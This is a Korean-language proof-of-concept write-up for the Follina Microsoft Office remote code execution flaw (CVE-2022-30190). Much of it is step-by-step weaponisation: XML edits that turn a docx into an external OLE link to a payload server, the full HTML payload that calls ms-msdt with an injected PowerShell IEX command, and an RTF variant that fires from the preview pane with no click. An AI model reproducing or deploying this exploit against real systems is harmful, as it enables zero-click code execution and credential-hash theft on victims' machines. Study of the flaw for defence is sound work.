
POC CVE-2022-30190 : CVE 0-day MS Offic RCE, 일명 msdt follina
2022년 5월 29일, 독립적인 사이버 보안 연구팀인 Nao_Sec 팀은 Virustotal에 공유된 악성 Office 문서를 발견했습니다. 이 문서는 피해자를 감염시키기 위해 특이하지만 알려진 방식을 사용하고 있습니다. 이 방식은 Microsoft Defender for Endpoint와 같은 일부 EDR에서 악성으로 탐지되지 않았습니다. 이 취약점은 매크로를 포함하지 않으므로 사용자 상호작용 없이 코드 실행으로 이어질 수 있으며, 보호된 보기(Protected View) 모드가 활성화된 경우는 예외입니다. 아직 부여된 CVE 번호는 없습니다.
이 취약점은 코드를 로드하기 위해 MSProtocol URI 스킴을 사용하여 악용되고 있습니다. 공격자는 Microsoft Office 문서, 템플릿 또는 이메일 내부에 ms-msdt:로 시작하는 악성 링크를 포함할 수 있으며, 이 링크는 보호된 보기(Protected View) 모드가 활성화된 경우를 제외하고 사용자 상호작용 없이 이후에 로드되고 실행됩니다. 그럼에도 불구하고 문서를 RTF 형식으로 변환하면 보호된 보기 기능을 우회할 수도 있습니다.
MS Office docx 파일은 HTML 파일 형태의 외부 OLE 개체 참조를 포함할 수 있습니다. "ms-msdt:"라는 HTML 스킴이 있으며, 이는 msdt 진단 도구를 호출하고 (매개변수에 지정된) 임의 코드를 실행할 수 있습니다.
그 결과는 (매크로를 사용하지 않고) 악성 docx 파일을 여는 것만으로 RCE를 달성할 수 있는 무시무시한 공격 벡터입니다.
다음은 개념 증명(PoC) docx를 만드는 단계입니다:
Word(최신 2019 Pro, 16.0.10386.20017 사용)를 열고 더미 문서를 만든 다음, (비트맵 이미지로) OLE 개체를 삽입하고 docx로 저장합니다.
docx 구조(일반 zip 파일)에서 word/_rels/document.xml.rels를 편집합니다. XML 태그 <Relationship>을 다음 속성과 함께 수정합니다:
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
그리고 Target="embeddings/oleObject1.bin"에서 Target 값을 변경하고 TargetMode 속성을 추가합니다:
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
Id 값을 기록해 두세요(아마 "rId5"일 것입니다).
word/document.xml을 편집합니다. <o:OLEObject ..> 태그(r:id="rId5" 포함)를 검색하여 속성을 Type="Embed"에서 Type="Link"로 변경하고 UpdateMode="OnCall" 속성을 추가합니다.참고: 생성된 악성 docx는 CVE-2021-44444의 경우와 거의 동일합니다.
http://<payload_server>/payload.html에서 서빙합니다:<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
다음 사항을 유의하세요:
추가로, 트리거 페이로드는 원격 위치에 연결할 수 있습니다. 신뢰할 수 없는 바이너리를 호출할 가능성은 낮지만, 연결에는 여전히 NTLM 해시가 포함됩니다(즉, 악의적인 행위자가 이제 피해자의 Windows 비밀번호 해시를 보유하게 된다는 뜻입니다). 이 해시는 공격자가 추가 사후 공격(post-exploitation)에 사용할 수 있습니다.
3단계에서 word/document.xml의 <o:OLEObject> 요소 아래에 다음 요소도 추가하면:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
RTF로도 작동합니다(결과 docx를 열어 RTF로 저장).
RTF의 경우 Word에서 파일을 열 필요가 없으며, 파일을 탐색하여 미리 보기 창에서 확인하는 것만으로 충분합니다. 미리 보기 창이 외부 HTML 페이로드를 트리거하고, 클릭 없이 RCE가 발생합니다.